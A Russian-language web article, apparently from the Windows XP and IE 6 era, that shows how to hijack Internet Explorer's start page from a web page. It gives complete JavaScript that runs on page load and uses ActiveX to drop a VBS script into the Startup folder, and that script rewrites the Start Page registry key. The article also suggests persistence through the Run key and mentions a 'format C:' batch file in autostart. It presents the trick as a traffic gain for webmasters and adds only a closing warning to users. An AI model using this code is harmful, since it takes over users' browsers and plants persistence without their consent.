Огромное количество пользователей используют операционные системы
и веб-браузер фирмы Microsoft. Поэтому, достаточно актуальным
стоит вопрос о безопасности Java-скриптов, особенно автоматически
выполняющихся при открытии html-страницы. Действительно, обидно
навредить себе, всего лишь открыв веб-страницу.
Давно прошли времена, когда пользователя можно было смутить,
показав ему содержимое его диска C:\ . Все дело в том,
что Java-скрипт выполняется на клиентском месте и пользователь,
по сути, открывает Проводник на своем компьютере. Но,
даже с клиентского места, можно кое-что изменить. Например, стартовую
страницу Internet Explorer.
Изменение стартовой страницы
Microsoft грудью стала за права пользователя в отношении установки
домашней страницы без его ведома. Ссылка вида Сделать стартовой
требует подтверждения пользователя, и это правильно. Установка
сайта в качестве стартовой страницы дает приток посетителей на
ровном месте и веб-мастера дорого бы отдали за такую установку.
Попробуем, все-таки, изменить стартовую страницу при помощи Java
Script (достаточно распостраненная конфигурация WinXP/IE 6.0).
Для этого необходимо изменить значение ветки реестра HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
на требуемый URL. Доступ к реестру, можно получить, выполнив HTML
Applications (файл с расширением .hta) или Visual Basic
скрипт (файл с расширением .vbs). Первый вариант на
моем компьютере запретил SpIDer Guard, поэтому воспользуемся
VB-скриптом.
Вся работа занимает две строчки: Set WSHShell = WScript.CreateObject("WScript.Shell") WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Start Page","webmastertools.narod.ru"
Теперь необходимо, чтобы vbs-файл, содержащий данный код, выполнился
на компьютере пользователя. Для этого, файл достаточно поместить
в директорию автозагрузки. По умолчанию, vbs-файлы ассоциированы
с программой WScript.exe, и, если ничего не менять, программа
выполнит скрипт.
Для того, чтобы поместить скрипт в указанное место, создадим
функцию, которая выполнится при открытии html-страницы (событие
onLoad). Создадим необходимый ActiveXObject. var fso = new ActiveXObject("Scripting.FileSystemObject");
При создании данного объекта будет выдано предупреждение «Страница
может содержать опасные программы (элементы ActiveX)». Если
сейчас отказаться от выполнения скрипта ничего не произойдет,
и в данном случае так и нужно поступать. Если предупреждение проигнорировано,
продолжим.
Далее, необходимо указать путь к vbs-файлу. Можно это сделать
явно, а можно и через временную директорию: var fld = fso.GetFolder(fso.GetSpecialFolder(2));
fld = fso.GetFolder( fld.ParentFolder );
fld = fso.GetFolder( fld.ParentFolder );
fld = fld + "\\Главное меню\\Программы\\Автозагрузка\\";
var file = fld + "startpage.vbs";
Итак, в переменной file содержится полный путь к файлу.
Создадим этот файл. var f = fso.CreateTextFile(file,true);
if (f)
{
f.WriteLine('Set WSHShell = WScript.CreateObject("WScript.Shell")');
f.WriteLine('WSHShell.RegWrite "HKCU\\SOFTWARE\\Microsoft\\Internet
Explorer\\Main\\Start Page","webmastertools.narod.ru"');
f.Close();
}
Пример страницы
Заключение
Вот и все. Теперь, каждый раз, при загрузке компьютера будет
изменяться стартовая страница MSIE. Можно поступить немного изощренней
и скриптом, выполняющимся при автозагрузке, записать в ветку реестра
HKCU\SOFTWARE\Microsoft\Windows\Current Version\Run
путь к скрипту, изменяющего стартовую страницу и затем удалить
первый скрипт из автозагрузки. Возможны другие варианты, но это
уже дело техники.
К чему я призываю: при использовании веб-браузера Internet Explorer,
всегда обращать внимание на диалоговые окна с предупреждениями.
Потому что, изменение стартовой страницы, не самое страшное,
что может произойти. Ведь в автозагрузку можно поместить и bat-файл
с деструктивными командами типа format C: . Так что,
при появлении предупреждения при открытии веб-страницы, как говорил
товарищ Саахов в известном фильме: «Торопиться не надо».